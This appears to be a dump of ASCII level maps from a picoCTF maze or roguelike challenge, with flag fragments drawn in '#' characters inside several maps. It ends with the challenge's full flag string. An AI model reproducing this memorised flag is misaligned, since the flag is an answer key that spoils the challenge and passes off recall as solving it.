#...............#                                                                                   
#...#.......#...#                                                                                   
#..###.....###..#                                                                                   
#...#.......#...#                                                                                   
#...............#                                                                                   
#...............#                                                                                   
#...............#                                                                                   
#################

...             ..  .......                                                                         
.<.          ####.  .####..                                                                         
...          ...#.. .#...#.                                                                         
...          ...#....####..                                                                         
             ..>#.. .#...#.                                                                         
             ####.  .####..                                                                         
                ..  .......                                                                         
                    .......

########################                                                                            
#<.............#.......#                                                                            
#..............#..###..#                                                                            
#..............#.#...#.#                                                                            
#..............#.#...#.#                                                                            
#..............#.#...#.#                                                                            
#..............#..###..#                                                                            
#..............#.......#                                                                            
#..............#.......#                                                                            
########################                                                                            
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
################                                                                                    
#..............#                                                                                    
#..............#                                                                                    
#..............#                                                                                    
#..............#                                                                                    
#..............#                                                                                    
#..............#                                                                                    
#..............#                                                                                    
#.............>#                                                                                    
################

...                                                                                                 
.<.........                                                                                         
...........                                                                                         
...      ..                                                                                         
         ..                                                                                         
         ..                                                                                         
         ..                                                                                         
         ..                                                                                         
         ..                                                                                         
         ..                                                                                         
   ..............                                                                                   
   ..##########..                                                                                   
   .#          #.                                                                                   
   .#  ....... #.                                                                                   
   .#  ..###.. #.                                                                                   
   .#  .#...#. #.                                                                                   
   .#  .#####. #.                                                                                   
   .#  .#...#. #.                                                                                   
   .#  .#...#. #.                                                                                   
   .#  ....... #.                                                                                   
   .#  ....... #.                                                                                   
   .#          #.                                                                                   
   ..##########..                                                                                   
   .............>

#########################                                                                           
#<#......#.#.......###..#                                                                           
#.#.###..#.#.......##..##                                                                           
#.#.#.#..#.#.......#..###                                                                           
#.#.#.#..#.#.......#...##                                                                           
#...#....#..#......#....#                                                                           
#.######.##..###.###....#                                                                           
#.#.....................#                                                                           
#.###.#################.#                                                                           
#.......................#                                                                           
#########.###.#########.#                                                                           
#.......#.#.#.#.........#                                                                           
#.#####.#.#...#.#########                                                                           
#.#.....#.#.#.#.........#                                                                           
#.####..#.#.#.#########.#                                                                           
#.....#.#.#.#.#.........#                                                                           
#.####..#.#.#.#.#########                                                                           
#.......#.#.#.#.........#                                                                           
#.......#.#.#.#########.#                                                                           
#########.#.#.#...#...#.#                                                                           
#...........#.#.#.#.#.#.#                                                                           
#########...#.#.#.#.#.#.#                                                                           
#.......#...#.#.#.#.#.#.#                                                                           
####.####...#.#.#.#.#.#.#                                                                           
##..........#.#.#.#.#.#.#                                                                           
#.#..####...#.#.#.#.#.#.#                                                                           
#..#....#####.#.#.#.#.#.#                                                                           
#...#...#...#.#.#...#...#                                                                           
#....#........#.#########                                                                           
#...........#.#........>#                                                                           
########################.

...                                                                                          .......
.<.                                                                                          ..###..
...                                                                                          .#...#.
...                                                                                          .#####.
                                                                                             .#...#.
                                                                                             .#...#.
                                                                                             .......
                                                                                             .......
 :
                                                                                                    
                                                                                                 ...
                                                                                                 ...
                                                                                                 .>.
                                                                                                 ...

<...................................................................................................
................................................................................................#...
####################################################################################################
 :
####################################################################################################
####################################################################################################
#####################################################################################..............#
#####################################################################################..###..###....#
#####################################################################################.#...#...#....#
#####################################################################################..####....#...#
#####################################################################################.....#...#....#
#####################################################################################.....#.###....#
#####################################################################################..............#
#####################################################################################..............#
####################################################################################################
####################################################################################################

picoCTF{ur_4_w1z4rd_4B0DA5A9}